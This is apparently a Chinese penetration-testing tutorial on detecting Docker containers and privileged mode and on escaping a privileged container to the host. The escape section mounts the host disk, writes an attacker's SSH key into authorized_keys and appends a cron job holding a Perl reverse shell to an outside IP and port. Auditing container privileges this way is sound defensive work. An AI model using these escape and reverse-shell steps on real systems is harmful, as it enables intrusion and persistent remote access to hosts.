前言: 对于现在的服务,很多都是打包容器后运行的,因此我们拿到的shell可能是容器的shell,而不是真正宿主机的shell,因此这里介绍如何判断是否是docker容器,以及如何实现docker逃逸。
1. 检测是否docker容器: 我们都知道docker容器是靠cgroup进行资源隔离的,因此可以查看cgroup目录下是否存在docker。
使用以下命令可以判断当前是否是docker容器。
1 cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
在linux中/proc
文件系统是一个特殊的虚拟文件系统,提供了关于内核状态的信息。/proc/1/cgroup
文件包含了进程ID为1的进程(通常是 init
或者 systemd
)所属的 cgroup(控制组)信息。
如果在宿主机中运行会有下面的结果:
而在docker容器内部,则会输出大量的docker,如图:
2. docker特权模式逃逸: Docker 特权模式是向主机系统上的所有设备授予 Docker 容器根功能。在特权模式下运行容器赋予它主机的功能。
在特权模式下可以实现目录挂载,写入ssh公钥等功能。因此在docker运行在特权模式下是非常危险的。
2.1 宿主机排查特权模式容器: 宿主机如何排查docker特权模式的容器?
1 docker ps -q | xargs -I {} docker inspect --format='{{.Id}} {{.HostConfig.Privileged}}' {}
在宿主机中就可以查看到当前运行在特权模式下的docker容器:
或者查看容器的名称:
1 docker ps --format '{{.Names}}' | xargs -I {} docker inspect --format='{{.Name}} {{.HostConfig.Privileged}}' {}
2.2 容器内部排查特权模式: 查看/proc/self/status目录: 查看/proc/self/status
目录下是否存在0000001fffffffff
状态码和0000003fffffffff
这个状态码:
1 grep -Eqi "CapEff:.*0000003fffffffff|CapEff:.*000001ffffffffff" /proc/self/status && echo "是特权模式" || echo "不是特权模式,请查看procfs逃逸或者是socket逃逸"
可以判断出是特权模式。
查看容器可执行命令: 在普通模式下,进程只能运行一些linux指令:
1 chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
特权模式可以使用以下命令:
1 chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
当前我们可以在运行容器时候使用--cap-add
给容器内部添加linux内核命令,如:
1 docker run --cap-add=sys_admin [其他参数] 镜像名 [命令]
因此这种方法的是不太准确的,不能确定运行容器的时候是给容器添加了命令。
还有的是如果是容器中非root用户也可能没有执行linux命令的权限。如下面的:
1 2 3 4 5 6 7 docker run --rm -it debian:buster chown 65534 /var/log/lastlog docker run -u 65534 --rm -it debian:buster chown 65534 /var/log/lastlogchown : changing ownership of '/var/log/lastlog' : Operation not permitted docker run --privileged -u 65534 --rm -it debian:buster chown 65534 /var/log/lastlogchown : changing ownership of '/var/log/lastlog' : Operation not permitted
查看tmpfs文件 使用如下命令,显示已挂载的文件系统,但只显示挂载点路径包含 /proc
且文件系统类型为 tmpfs
的条目。在这种情况下,/proc
目录通常用于挂载虚拟文件系统,而 tmpfs
则是一种用于临时文件的内存文件系统。
1 mount |grep '/proc.*tmpfs'
普通模式下,部分内核模块路径比如 /proc 下的一些目录需要阻止写入、有些又需要允许读写, 这些文件目录将会以 tmpfs 文件系统的方式挂载到容器中,以实现目录 mask 的需求
在普通模式下运行结果:
1 2 3 4 5 6 7 8 root@ce4ef7a90948:/ tmpfs on /proc/acpi type tmpfs (ro,relatime) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/timer_stats type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755) tmpfs on /proc/scsi type tmpfs (ro,relatime)
而在特权模式下:
1 2 root@7924793b131d:/tmp root@7924793b131d:/tmp
对于docker容器,有时候可能没有wget,没有git,甚至没有vim以及vi(也没有nano),因此可以使用echo重定向到sh中,实现docker中一次性写入文件:
1 2 3 cat << 'EOF' > script.sh 写入内容 EOF
这段话表示的是写入内容到script.sh
中,知道EOF
结束。
2.3 特权模式下目录挂载实现容器逃逸: 2.3.1 目录挂载 查看是否是docker容器:
1 cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
查看是否是特权模式:
1 grep -Eqi "CapEff:.*0000003fffffffff|CapEff:.*000001ffffffffff" /proc/self/status && echo "是特权模式" || echo "不是特权模式,请查看procfs逃逸或者是socket逃逸"
首先查看挂载的目录:
1 2 3 4 5 6 7 root@7924793b131d:/ Filesystem Size Used Avail Use% Mounted on overlay 69G 19G 48G 28% / tmpfs 64M 0 64M 0% /dev tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup shm 64M 0 64M 0% /dev/shm /dev/vda1 69G 19G 48G 28% /etc/hosts
可以看到/etc/hosts
被挂载到了 /dev/vda1
设备上。
在tmp目录下创建abcd目录:
使用mount
挂载宿主机目录:
1 mount --bind <宿主机挂载的目录> <容器内部的目录>
比如我需要在tmp目录下挂载宿主机的/etc
目录
1 2 3 cd tmpmkdir abcd mount --bind /dev/vda1 /tmp/abcd
1 2 3 4 5 6 7 root@7924793b131d:/tmp/abcc/root Filesystem Size Used Avail Use% Mounted on overlay 69G 19G 48G 28% / tmpfs 64M 0 64M 0% /dev tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup shm 64M 0 64M 0% /dev/shm /dev/vda1 69G 19G 48G 28% /tmp/abcd
如果需要取消挂载可以使用umount
命令,如:umount -v /dev/sda1
这里ubuntu在tmp在不太行,可以创建一个新的目录再挂载。
可以查看到挂载成功:
2.3.2 写入公钥: kali生成sshkey,
然后将ssh的公钥id_rsa.pub
写入目标服务器上,并且保存名称为authorized_keys
1 2 3 cat << 'EOF' > authorized_keys id_ssh.pub的内容 EOF
kali上直接ssh连接即可:
1 ssh -i id_rsa root@121.37.225.219
2.3.3 定时任务: 定时任务一般写在/var/spool/cron
目录下:
修改定时任务的内容,这里注意使用的是>>
重定向,即追加,而不是使用>
直接覆盖。
1 echo $'*/1 * * * * perl -e \' use Socket;$i ="47.96.111.156" ;$p =4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp" ));if (connect(S,sockaddr_in($p ,inet_aton($i )))){open(STDIN,">&S" );open(STDOUT,">&S" );open(STDERR,">&S" );exec ("/bin/sh -i" );};\'' >> ./root
我尝试了直接修改/var/spool/cron/root
文件发现不会自动生效,因此我们可以直接使用crontab
的cli命令行去执行,但是crontab -e编译定时任务需要使用vi/vim
正常情况下是可以反弹shell的。
工具: 检测docker的脚本:container-escape-check/README_ZH.md at main · teamssix/container-escape-check (github.com)
参考: 容器特权模式与非特权模式的区别 - mozillazg’s Blog
容器逃逸方法检测指北 | T Wiki (teamssix.com)
container-escape-check/README_ZH.md at main · teamssix/container-escape-check (github.com)